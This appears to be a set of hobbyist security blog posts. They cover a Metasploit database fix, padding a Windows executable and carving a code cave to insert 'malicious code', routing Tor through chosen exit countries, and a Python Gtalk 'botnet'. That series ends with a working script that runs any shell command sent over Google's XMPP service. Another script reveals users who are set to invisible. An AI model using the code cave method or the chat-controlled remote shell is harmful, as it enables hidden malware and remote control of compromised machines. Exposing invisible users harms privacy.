metasploit can’t automatically

msf> Database not connected or cache not built, using slow search
if you are getting “Database not connected or cache not built, using slow search”  done at Kali Linux 1.0.7

fix:
1. Make sure postgreS up & running on any port). In my case it is as below
root@kali: netstat -antp
tcp   0 0    127.0.0.1:5432      0.0.0.0:*          LISTEN 5693/postgres

2. Restart the serviceses for a fresh start
root@kali: service postgresql start;service metasploit start

3. let’s wake up as postgres user
root@kali: su postgres

4. Now create a user for postgres db
root@kali:createuser -P
Enter Password
Confirm Password
Shall the new role be a superuser? n
Shall the new role be allowed to create databases? n
Shall the new role be allowed to create new roles? n

5. Create a Database for
root@kali: createdb -O username <metasploit_database_name>

6. exit

7. Now time to satisfy msf
root@kali:vim /opt/metasploit/apps/pro/ui/config/database.yml
——- edit —— (change database,username&password as per above)
development:
adapter: “postgresql”
database: “metasploit_database_name”
username: “username”
password: “password”
port: 5432
host: “localhost”
pool: 256
timeout: 5

production:
adapter: “postgresql”
database: “metasploit_database_name”
username: “username”
password: “password”
port: 5432
host: “localhost”
pool: 256
timeout: 5

8. You are good to go.
root@kali: service postgresql start;service metasploit start

9. root@kali:msfconsole

 

malware anatomy 1 – – – First Post!

. . . Lets begin with some basic stuff . . .
How to pad a .exe file with some extra bytes?
How to carve a code-cave in it?
I will be using 3 Tools :
a) PE Editor
b) Hex Editor Neo [cool]
c) Immunity Debugger

Act 1 Padding: lets say we want to pad 1000 hex byte to a .exe
1.) open -meatloaf.exe with PE Editor

2.) Click: Sections

3.) I am choosing .rsrc section

4.) raw size=3E8 [hex bytes] : we want to add 1000 extra hex bytes into it. So 3E8+ 3E8 = 7D0 & click “apply changes” -> OK

WELL DONE! the pe info is changed. We have extra 1000 hex bytes.
Not over yet this file ain’t gonna work ‘cos we still need to physically add extra 1000 hex bytes to it.
1.) Fire up the hex editor & open same file reach up to end.

2.) Edit -> Insert -> Type=Hex; Byte | pattern= “00” | size = 1000 | -> Insert

3.) Now Save As “_meatloaf-2.exe”

4.) At last the file will regain it’s functionality.

Act 2 carve a code-cave: Lets say if we want to put our malicious code into _meatloaf.exe
1.) We will use the extra space we have added later in the file.
2.) Open .exe with Immunity Debugger. Its takes us directly to file entry point 0x00402154.

3.) Drag it down to our padding of “00” starts at address 0x00407224

4.) We are Good to Go! Now. right click -> Assemble : start putting your Assembly Code

thanku folks!
Post Your Comments for more to come n Questions !!

Configure Tor to route through a specific country

Hello All tor users. I hope all of you enjoying the anonymity.
What if you wish to route your traffic only to some specific country or you want to listen to Pandora radio.
I found couple of post but were not very clear and 100% accurate. Or maybe I have not searched enough. Anyways
– – – here what you need to do – – –
act 1) Install Vidalia Bundle suites your OS.

act 2) Finish the installation let it run..

act 3) Now we need something which will set the specific country.
What is that is the finger prints of tor server running in that country.
a) GOoo To : https://torstatus.blutmagie.de/index.php?SR=CountryCode&SO=Asc

b) Select country by its national flag. E.g take Canada

c) Obviously we want server with good bandwidth so be smart.
Click that server and save the Finger print to fingerprint.txt

d) Like that copy paste 3 fingerprints.

e) Remove the spaces and add $ in front of each line & septate with ” , “. Save it as a single line.

f) Add “ExitNodes” and next line “StrictExitNodes 1”. It will look like …

act 4) Vidalia Control Panel [see image at act 2]. Click Settings > Advanced

act 5) Click “Browse” to edit file name “torrc”
open it in notepad & add content of fingerprint.txt at the top. Ctrl+s [save the file] and close.

act 6) Final: DO NOT forget to click “Open” > “Ok” > “Exit”
Restart the Vidalia. Let the tor to connect again.
– – – Bingo – – –
Visit: http://aruljohn.com/ to confirm your country and IP Address.

(Step 1) my baby bot: Gtalk botnet

For my college days, I was very fascinated by the Google Gtalk Instant messaging.
I always wanted to do something more with Gtalk

So, Here I present a very simple botnet program using python-xmpp (jabber Protocol).
It is primarily a Gtalk bot which in fact uses Extensible Messaging and Presence Protocol (XMPP).
The simple python program will act as xmpp client to talk to Google Gtalk server.

Pre Requisite
a) Very little python understanding [really i do not have]
b) python-xmpp – Python library for communication with XMPP (Jabber) servers

apt-get install python-xmpp [Debian/Ubuntu]

./base_bot.py [run on a command shell]

Code 1 > base_bot.py
It will do nothing but will show you as online

#!/usr/bin/python
import xmpp
user="[email protected]"
password="yourpassword"
server="gmail.com"
jid = xmpp.JID(user)
connection = xmpp.Client(server,debug=[])
connection.connect()
result = connection.auth(jid.getNode(), password, "Bot-Client-Is-Online")
connection.sendInitPresence()
while connection.Process(1):
pass

Code 2 > Lets modify it a little: base_bot_debug.py
It will through hell lot of debug info
You can see “presences” “rosters” “stanzas”

#!/usr/bin/python
import xmpp
user="[email protected]"
password="yourpassword"
server="gmail.com"
jid = xmpp.JID(user)
connection = xmpp.Client(server)
connection.connect()
result = connection.auth(jid.getNode(), password, "Bot-Client-Is-Online")
connection.sendInitPresence()
while connection.Process(1):
pass

Code 3 > run and send a text msg to from other account : gtalk_bot_auto_reply.py
You will receive a auto reply “Welcome to rm07en’s Gtalk Bot :P “

#!/usr/bin/python
import xmpp
user="[email protected]"
password="yourpassword"
server="gmail.com"
def message_handler(connect_object, message_node):
message = "Welcome to rm07en's Gtalk Bot :P "
connect_object.send( xmpp.Message( message_node.getFrom(), message))
jid = xmpp.JID(user)
connection = xmpp.Client(server)
connection.connect()
result = connection.auth(jid.getNode(), password, "Bot-Client-Is-Online")
connection.RegisterHandler('message', message_handler)
connection.sendInitPresence()
while connection.Process(1):
pass

Code 4 > Liitle gift for you : bust_invisible_buddies.py
This will List buddies in invisible mode

#!/usr/bin/python
import xmpp
user="[email protected]"
password="yourpassword"
def presenceHandler(conn, presence):
if presence:
if presence.getType() == "unavailable":
print presence.getFrom().getStripped()
print "Invisible Users:"
jid = xmpp.JID(user)
connection = xmpp.Client(server, debug=[])
connection.connect()
result = connection.auth(jid.getNode(), password, "Client Name")
connection.RegisterHandler('presence', presenceHandler)
connection.sendInitPresence()
while connection.Process(1):
pass

Code 5 > Final perhaps the coolest: gtalk_bot_shell.py
SSH your box via gtalk client anywhere on this earth
All the commands are not functional but you can try find more

#!/usr/bin/python
import xmpp
import subprocess
user="[email protected]"
password="yourpassword"
server="gmail.com"
def message_handler(connect_object, message_node):
admin = "[email protected]" # grant permission to the shell
from_user = message_node.getFrom().getStripped()
if admin == from_user: #allow to exec command only if admin requested
command = str(message_node.getBody())
process = subprocess.Popen(command, shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE)
message = process.stdout.read()
if message=="":
message=process.stderr.read()
else:
message="Access denied! \n Contact System admin"
connect_object.send( xmpp.Message( message_node.getFrom(), message))
jid = xmpp.JID(user)
connection = xmpp.Client(server)
connection.connect()
result = connection.auth(jid.getNode(), password, "Bot-Client-Is-Online")
connection.RegisterHandler('message', message_handler)
connection.sendInitPresence()
while connection.Process(1):
pass

Source : LINUX For You Magazine
The original idea behind this was a genius’s guys article at L4U Mag.

As my post topic says its a baby step toward a bot writing.
I would really want reader : if you have more interest and knowledge to share.
Please Please do write to me.